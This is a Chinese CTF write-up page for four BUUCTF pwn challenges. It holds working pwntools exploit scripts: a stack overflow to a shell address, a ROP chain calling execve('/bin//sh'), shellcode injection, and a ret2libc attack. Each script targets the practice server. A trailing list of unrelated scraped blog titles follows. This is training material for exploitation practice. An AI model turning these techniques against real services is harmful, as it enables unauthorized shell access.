PWN-PRACTICE-BUUCTF-13

  • [ZJCTF 2019]Login
  • inndy_rop
  • mrctf2020_shellcode
  • jarvisoj_level1

[ZJCTF 2019]Login

参考:ZJCTF 2019 Pwn

from pwn import  *
io=remote('node4.buuoj.cn',27513)
#io = process("./login")
shell = 0x400e88
io.recvuntil("username: ")
io.sendline("admin")
io.recvuntil("password: ")
payload="2jctf_pa5sw0rd"+"\x00"*58+p64(shell)
io.sendline(payload)
io.interactive()

inndy_rop

静态链接的32位elf,用ROPgadget直接找一条rop链

ROPgadget --binary inndy_rop --ropchain
from pwn import *
from struct import pack
#io=process('./inndy_rop')
io=remote('node4.buuoj.cn',25930)
def ROPchain():p = 'a'*(0xc+4)p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b8016) # pop eax ; retp += '/bin'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b8016) # pop eax ; retp += '//sh'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de769) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0806c943) # int 0x80return p
payload=ROPchain()
io.sendline(payload)
io.interactive()

mrctf2020_shellcode

在偏移0x00000000000011DD处有条call rax的gadget,这里的rax就是我们输入内容的地址
于是这道题直接输入shellcode,elf执行call rax即可getshell

from pwn import *
context.arch='amd64'
context.os='linux'
#io=process('./mrctf2020_shellcode')
io=remote('node4.buuoj.cn',29514)
shellcode=asm(shellcraft.sh())
io.recvuntil('magic!\n')
io.sendline(shellcode)
io.interactive()

jarvisoj_level1

32位elf的栈溢出,ret2libc

from pwn import *
#context.log_level = 'debug'
#p = process('./jarvisoj_level1')
p=remote('node4.buuoj.cn',25340)
elf = ELF('./jarvisoj_level1')
libc=ELF('./libc-2.23-x32.so')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
payload1='A'*140+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
write_addr = u32(p.recv(4))
print('write addr: '+hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
payload='A'*140+p32(system)+p32(0)+p32(binsh)
p.sendline(payload)
p.interactive()

PWN-PRACTICE-BUUCTF-13相关推荐

  1. 【论文研读】基于BP 神经网络的 Q235 钢力学性能预测模型

    基于BP 神经网络的 Q235 钢力学性能预测模型 刘志伟1, 2 , 马劲红1, 2 , 陈伟1 , 王文正1 1.华北理工大学 冶金与能源学院, 河北 唐山 063210; 2.现代冶金技术教育部 ...

  2. 最新麦子学院Web前端项目实战 Web前端开发从入门到精通33G完整版

    课程介绍 下载地址:百度网盘 一共超过33G的整套麦子学院Web前段视频教程,共分为4大阶段循序渐进的进行逐步深入的解读,从基础知识入门到后期的项目实战开发 对于想从事Web前端学习和开发工作的朋友来 ...

  3. html5说课稿,高中英语说课稿范文

    下面是学习啦小编整理的高中英语说课稿范文,以供大家学习参考. Ladies and Gentlemen, It's my great pleasure to be here sharing my le ...

  4. IT类英文电子书存档页面

    为什么80%的码农都做不了架构师?>>>    http://www.salttiger.com/archives/ 目前我主要在以下两个网站收集编程类的电子书,在这上面找不到的书, ...

  5. mahout安装测试

    Mahout 是 Apache Software Foundation(ASF) 旗下的一个开源项目,提供一些可扩展的机器学习领域经典算法的实现,旨在帮助开发人员更加方便快捷地创建智能应用程序.Apa ...

  6. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  7. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  8. BUUCTF 2021-10-4 Pwn

    文章目录 保持手感 echo 分析 EXP Pwnme1 分析 EXP wdb_2018_1st_babyheap 分析 EXP FSOP houseoforange_hitcon_2016 分析 前 ...

  9. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  10. [BUUCTF]PWN——[HarekazeCTF2019]baby_rop2

    [HarekazeCTF2019]baby_rop2 题目附件 步骤: 例行检查,64位,开启了nx保护 运行了一下程序,了解大概的执行情况 64位ida载入,shift+f12检索程序里的字符串,没 ...

最新文章

  1. Cable master (POJ No.1064)
  2. python个人项目-Python个人练习项目 2-1
  3. VTK:曲线样条CurveSpline用法实战
  4. Matlab中的类(Class),Matlab中的class用法
  5. 判断闰年 php,PHP怎么判断一年是否为闰年?
  6. 《七哥说道》第五章:入职惨做苦力,画饼一望无际
  7. [J2ME]RSSOwlMidlet(RSS无线阅读器)设计说明
  8. 当前主要使用的python版本_动力火车当歌词
  9. 开发者须知:哪些广告最让用户感到厌烦
  10. BZOJ4336: BJOI2015 骑士的旅行
  11. 数据结构之哈夫曼编码
  12. springmvc 需要用到的核心jar包
  13. wps office应用计算机等级考试,全国计算机等级考试一级教程:计算机基础及WPS Office应用(2016年版)...
  14. WORD文档不能打开的一些原因
  15. 打外星生物的塔防java_《异形防御者》测评:外星人也玩塔防游戏
  16. 李白打酒递归java_李白打酒----递归理解
  17. JAVA中implements的用法
  18. 如何启用dhcp linux,怎么开启DHCP服务器啊
  19. 盛瑟传感模块技术原理
  20. 真Unity3d_人物摇杆操作(2022年重写)

热门文章

  1. Chrome 调试动态加载的js
  2. 线段树(单点更新(模板)) 之 hdu 1166
  3. ubuntu下vim语法高亮问题
  4. .net Reflection(反射)- 二
  5. [Leetcode][程序员面试金典][面试题08.03][JAVA][魔术索引][递归][优化]
  6. POJ-2773 欧几里得 + 二分 + 容斥
  7. mysql创建表格1warning_MySQL:创建、修改和删除表
  8. mysqlnavicat数据库备份与恢复_Navicat如何还原MySQL数据库
  9. python数据录入和分析_hive+python数据分析入门
  10. 416B. Art Union